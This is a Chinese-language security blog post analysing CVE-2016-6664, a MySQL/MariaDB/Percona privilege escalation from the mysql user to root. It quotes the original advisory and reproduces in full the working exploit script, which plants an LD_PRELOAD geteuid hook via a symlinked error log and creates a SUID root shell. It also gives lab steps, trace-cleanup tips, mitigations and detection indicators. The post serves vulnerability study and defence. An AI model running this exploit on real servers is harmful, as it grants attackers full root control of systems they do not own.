MySQL-based databases CVE-2016-6664 本地提权

@date: 2016/11/10

@author: dlive

0x00 前言

这个漏洞可以结合CVE-2016-6663使用提升权限到root

0x01 漏洞原文

# http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
=============================================
- Release date: 01.11.2016
- Discovered by: Dawid Golunski
- Severity: High/Critical
- CVE-2016-6664 / (Oracle) CVE-2016-5617
- http://legalhackers.com
=============================================


I. VULNERABILITY
-------------------------

MySQL / MariaDB / Percona   -   Root Privilege Escalation

MySQL  
    <= 5.5.51
    <= 5.6.32
    <= 5.7.14

MariaDB
    All current

Percona Server
    < 5.5.51-38.2
    < 5.6.32-78-1
    < 5.7.14-8

Percona XtraDB Cluster
    < 5.6.32-25.17
    < 5.7.14-26.17
    < 5.5.41-37.0


III. INTRODUCTION
-------------------------

MySQL-based databases including MySQL, MariaDB and Percona are affected
by a privilege escalation vulnerability which can let attackers who have
gained access to mysql system user to further escalate their privileges
to root user allowing them to fully compromise the system.
The vulnerability stems from unsafe file handling of error logs and
other files.
基于MySQL的数据库,包括MySQL,MariaDB,Percona都受到CVE-2016-6664的影响。
该漏洞可以使已经拥有mysql系统用户权限的攻击者提升到root权限。
该漏洞是因为MySQL对error logs和其他文件的不安全操作导致的


IV. DESCRIPTION
-------------------------

The error.log file on most default installations of MySQL/Percona/MariaDB
databases is stored either in /var/log/mysql or /var/lib/mysql directory.
MySQL/Percona/MariaDB安装后,error.log文件默认放置在/var/log/mysql或者/var/lib/mysql文件夹中。

The permissions on the file and directory look as follows:
相关文件和文件夹的权限如下所示:

root@trusty:/var/lib/mysql# ls -la /var/log/mysql
total 468
drwxr-s---  2 mysql adm      4096 Sep 11 06:25 .
drwxrwxr-x 36 root  syslog   4096 Sep 11 06:25 ..
-rw-r-----  1 mysql adm         0 Sep 11 06:25 error.log

root@trusty:/var/lib/mysql# ls -lad /var/log/mysql
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql


mysqld_safe wrapper that is normally used for starting MySQL daemon and 
creating/reopening the error.log performs certain unsafe file operations that
may allow attackers to gain root privileges.
mysqld_safe wrapper通常用于启动mysql守护进程和新建/打开error.log。
在这个过程中mysql_safe进行了不安全的文件操作,导致攻击者可获得root权限。

The wrapper script contains a 'while' loop shown below which monitors the mysqld 
process and performs a restart in case of the process failure.  
The restart involves re-creation of the error.log file if syslog logging has
not been configured instead of error log files (file-based logging is the 
default setting on most installations).
mysqld_safe wrapper脚本包含了一个while循环(如下所示),这个循环监视mysqld进程,如果进程挂掉了该循环负责重启进程。
重启过程中,如果发现配置没有使用syslog替代error.log文件,则会重新创建error log 文件。(大部分情况下数据库安装后默认配置是基于文件的日志,即没有使用syslog)
--------[ mysqld_safe ]--------
[...]

while true
do
  rm -f "$pid_file"     # Some extra safety

  start_time=`date +%M%S`

  eval_log_error "$cmd"

  if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
    touch "$err_log"                    # hypothetical: log was renamed but not
    chown $user "$err_log"              # flushed yet. we'd recreate it with
    chmod "$fmode" "$err_log"           # wrong owner next time we log, so set
  fi                                    # it up correctly while we can!

[...]

-------------------------------

As can be seen, the error.log file is created (touch) and chowned to the user
running the mysqld daemon (typically 'mysql'). 
可以看到,error.log文件被创建(touch)然后使用chown将error.log文件所有者修改为运行mysql进程的用户(一般为mysql)

The operation is vulnerable to a symlink attack.
这个操作很容易受到符号链接攻击。

Attackers who obtained access to mysql account, through CVE-2016-6663
vulnerability described at:
攻击者可以通过CVE-2016-6663获得mysql权限

http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

would gain access to /var/log or /var/lib/mysql directories (owned by mysql user) 
and could therefore easily remove the error.log file and replace it 
with a symlink to an arbitrary system file and escalate privileges.
拥有mysql权限后,攻击者可以访问/var/log和/var/lib/mysql目录,并且可以删除error.log并将其替换成指向任意文件的符号链接,进而进行提权。

The privilege escalation could be triggered instantly (without the need to wait
for mysql service restart/reboot) by attackers having 'mysql' account by simply 
killing the mysqld child process (launched by the mysqld_safe wrapper).
无需等待 mysql service 重启,攻击者只需要通过mysql用户杀死由mysqld_safe创建的mysqld的子进程,就可以触发这个权限升级。

When the mysqld process gets terminated, the wrapper will then re-itertate the 
loop shown above and immediately create a mysql-owned file in the location 
specified by the attacker in the symlink thus allowing attackers to quickly
escalate their privileges.
当mysqld进程被终止,mysqld_safe将会执行while循环,并创建一个属于mysql用户的文件在攻击者指定的位置(通过符号链接指向),进而进行提权。



V. PROOF OF CONCEPT EXPLOIT
-------------------------

-------[ mysql-chowned.sh ]------
见0x02漏洞利用代码分析
------------EOF------------------


Example run
​~~~~~~~~~~~~~~~~

mysql_suid_shell.MYD-4.3$ whoami
mysql

omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server
iU  percona-server-server              5.6.32-78.0-1.xenial              amd64        Percona Server database server
iF  percona-server-server-5.6          5.6.32-78.0-1.xenial              amd64        Percona Server database server binaries

mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err 
 
MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit 
mysql-chowned.sh (ver. 1.0)

CVE-2016-6664 / CVE-2016-5617

Discovered and coded by: 

Dawid Golunski 
http://legalhackers.com 

[+] Starting the exploit as 
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

[+] Target MySQL log file set to /var/lib/mysql/xenial-percona.err

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 mysql attacker 1037528 Nov  1 05:08 /tmp/mysqlrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 mysql attacker 18 Nov  1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload

[+] Waiting for MySQL to re-open the logs/MySQL service restart...
Do you want to kill mysqld process to instantly get root? :) ? [y/n] y
Got it. Executing 'killall mysqld' now...

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: 
-rw-r----- 1 mysql root 19 Nov  1 05:08 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now! 

mysqlrootsh-4.3# whoami
root

mysqlrootsh-4.3# exit
exit

[+] Cleaning up...

[+] Job done. Exiting with code 0


VI. BUSINESS IMPACT
-------------------------

Although the severity of this issue is lower on its own (attackers need to
gain access to mysql system user), the vulnerability could easily be combined 
with the CVE-2016-6663 issue.
The combination of the two would effectively allow low privileged local 
database users to escalate their system privileges to root system account and 
allow them to fully compromise the server which increases the severity of this
issue.
 
VIII. SOLUTION
-------------------------
作者没有给出明确修补方式,只是说明数据库厂商会为该漏洞打补丁。

0x02 漏洞利用代码分析

http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

#!/bin/bash -p 
#必须加上 -p 否则suid不会生效
#
# MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.1)
#
# CVE-2016-6664 / CVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# 攻击者可以通过这个poc攻击不安全的error log处理过程从mysql权限提升到root权限
# The exploit requires that file-based logging has been configured (default).
# 成功攻击需要受害者主机配置的是基于文件的日志(即默认配置)
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
# 保证syslog日志未被启用, 如果grep -r syslog /etc/mysql无返回结果则表示未被启用
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / CVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
# 这个漏洞可以和CVE-2016-6663结合使用,6663可以使攻击者获得mysql系统用户权限
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
# 如果数据库服务器已经使用了syslog,你可以使用CVE-2016-6662获取root权限
#
# Usage:
# ./mysql-chowned.sh path_to_error.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.

BACKDOORSH="/bin/bash"  #bash shell
BACKDOORPATH="/tmp/mysqlrootsh" #backdoor文件路径
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
    cleanexit 0
}

#intro 
#介绍信息
echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
# usage
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
fi

# Priv check
# 检查运行脚本的用户是否是mysql
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql 
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
    exit 3
fi

# Set target paths
# error log路径
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
# 编译库文件
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        //修改mysqlrootsh owner和group为root
        chown("$BACKDOORPATH", 0, 0);
        //修改mysqlrootsh权限为04777
        chmod("$BACKDOORPATH", 04777);
        //unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi


# Prepare backdoor shell
# 将/bin/bash拷贝到/tmp/mysqlrootsh
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
# 如果已经存在/etc/ld.so.preload,为了不破坏主机原本环境,脚本自动退出
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi

# Symlink the log file to /etc
# 删除error.log,新建error.log符号链接,链接到/etc/ld.so.preload
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
    echo -e "Got it. Executing 'killall mysqld' now..."
    killall mysqld
fi
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        # 将"/tmp/privesclib.so"写入/etc/ld.so.preload
        echo $PRIVESCLIB > /etc/ld.so.preload
        # 删除errorlog
        rm -f $ERRORLOG
        break;
    fi
done

# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
# 将"/tmp/privesclib.so"写入/etc/ld.so.preload
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

# sudo是一个suid程序,会调用geteuid函数,该函数已经被/tmp/privesclib.so中的geteuid覆盖掉
# 所以sudo会调用攻击者自定义的geteuid
# /tmp/privesclib.so中的geteuid会将/tmp/mysqlrootsh的权限改为04777
sudo 2>/dev/null >/dev/null


# Check for the rootshell
# 检查是否拿到了rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi


# Execute the rootshell
# 执行rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
# 删除漏洞利用过程中产生的文件
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

0x03 漏洞验证

MySQL Poc:

http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

漏洞成功利用的条件:

  1. MySQL-based数据库版本符合条件
  2. 攻击者已经获得mysql系统用户权限
  3. mysql错误日志使用默认基于文件的配置,未使用syslog

实验环境:

  1. 系统: Debian 4.0.4-1 kali2 x86_64
  2. MySQL版本: 5.5.47

环境准备:

  1. 检查系统MySQL版本:

  1. 检查MySQL是否配置了使用syslog:

  1. kali系统上预装的MySQL的错误日志是使用syslog的,需要将这个配置去掉(需要root权限),将mysqld_safe_syslog.conf中的syslog删除后保存,如下图所示
vim /etc/mysql/conf.d/mysqld_safe_syslog.cnf

​ 重启mysql服务

mysqld_safe --user=mysql

漏洞利用:

查看error log文件的位置(默认是在mysql的数据目录下, debian上为/var/lib/mysql/hostname.err)

需要先通过CVE-2016-6663获得mysql系统用户的shell,然后指定error log文件位置并运行提权脚本

成功获得root权限:

清理痕迹: 脚本只删除了ld.so.preload和/tmp/privesclib.so,注意把/tmp/privesclib.c也删了

ps. 不知道为什么漏洞利用成功后服务器上的MySQL挂了,需要手动重启,提权前最好看一下服务器上原来是以什么配置启动的mysql(ps aux | grep mysql),若提权过程中导致mysql服务器挂掉可以以同样配置启动

0x04 漏洞利用过程总结

1. ld.so.preload

要理解这个漏洞的利需要首先了解/etc/ld.so.preload这个文件的作用。

这个文件的作用和LD_PRELOAD这个环境变量的作用类似:

用以指定预先装载的一些共享库或目标文件,且无论程序是否依赖这些共享库或者文件,指定的这些文件都会被装载。但是两者的区别在于LD_PRELOAD被做了限制,对于suid的程序这种预先装载目标库的功能可能会导致权限提升,所以对于suid的程序加载动态链接库时是会忽略LD_PRELOAD的。但是/etc/ld.so.preload这个配置文件却不存在这种限制。

# 参考资料4(https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/)中是这么说的:
LD_PRELOAD was evil when combined with suid binaries so it will be ignored by the loader. That’s because otherwise you could abuse those binaries to raise your privileges by preloading some code that spawns a shell — e.g. by hooking __libc_start_main(). However, those restrictions do not apply for this file(/etc/ld.so.preload). The loader will bravely load the shared objects listed in /etc/ld.so.preload even for suid binaries.

在此漏洞利用过程中ld.so.preload文件中的内容为攻击者自己编译的so文件: /tmp/privesclib.so

攻击者在/tmp/privesclib.so中自定义了geteuid函数,这个函数会在suid的程序(如sudo)中被调用

strace -o sudo.txt sudo

攻击者设置预先加载其定义so库,会导致geteuid函数被覆盖掉,当sudo调用geteuid时实际上调用的是攻击者自定义函数,可以达到一种类似hook的效果。

/etc目录只有root可写,所以要借助mysqld_safe进程创建ld.so.preload文件(mysqld_safe进程是以root权限运行的)

2.漏洞利用过程

简单梳理一下漏洞利用过程,主要分为一下几步:(可以结合poc一起看会比较清晰)

  1. 准备工作:
    1. cp /bin/bash /tmp/mysqlrootsh
    2. 编译攻击者自定义so
  2. 删除error.log(需要mysql权限),并新建符号链接 ln -s /etc/ld.so.preload /var/log/mysql/error.log , error.log为符号链接文件,指向一个现在不存在的ld.so.preload文件(这种情况下判断error.log是否存在,结果是不存在的,并且touch error.log的结果是新建一个ld.so.preload文件)
  3. 杀掉mysqld进程,mysqld_safe检测到mysqld进程死掉了,会重启它,在重启的过程中检查error.log是否存在,因为刚刚error.log被换为了符号链接,所以mysqld_safe认为其不存在,然后touch error.log,结果攻击者成功借助mysqld_safe的root权限新建了ld.so.preload文件
  4. mysqld_safe进程执行chown mysql error.log ,因为error.log是符号链接,所以ld.so.preload的owner被改为mysql
  5. echo '/tmp/privesclib.so' > /etc/ld.so.preload (攻击者有mysql权限,并且ld.so.preload的owner为mysql)
  6. 执行sudo, geteuid被调用,/tmp/mysqlrootsh权限的owner和group被改为root, 权限被改为04777
  7. 执行mysqlrootsh拿到root权限

0x05 漏洞/利用模型抽象

漏洞原因用一句话总结就是:

root权限进程对文件进行敏感操作(touch/chown),被操作文件可被攻击者(非root用户)访问并换为攻击者可控文件(符号链接),攻击者精心构造文件获得root权限

0x06 应急相应

  1. 该漏洞的利用建立在CVE-2016-6663的基础之上,所以建议修补6663漏洞防止攻击者进一步对服务器造成危害。

  2. 短期内可使用syslog代替默认的error log,等待官方补丁

攻击检测:

  1. 检查mysql版本是否在存在漏洞的版本范围内
  2. 查看mysql是否开启syslog
  3. 检测是否存在/etc/ld.so.preload,/tmp/privesclib.so,/tmp/privesclib.c, /tmp/mysqlrootsh等文件

0x07 参考资料

  1. 漏洞原文

    http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

  2. MySQL错误日志

    http://blog.csdn.net/leshami/article/details/39759849

  3. Linux平台LD_PRELOAD及其机制的一种技术

    http://www.tuicool.com/articles/aqERfi

  4. LD_PRELOAD vs. /etc/ld.so.preload

    https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/

  5. UNIX下的LD_PRELOAD变量

    http://blog.chinaunix.net/uid-13344516-id-79188.html

posted @ 2017-02-18 10:46 dlive 阅读(...) 评论(...) 编辑 收藏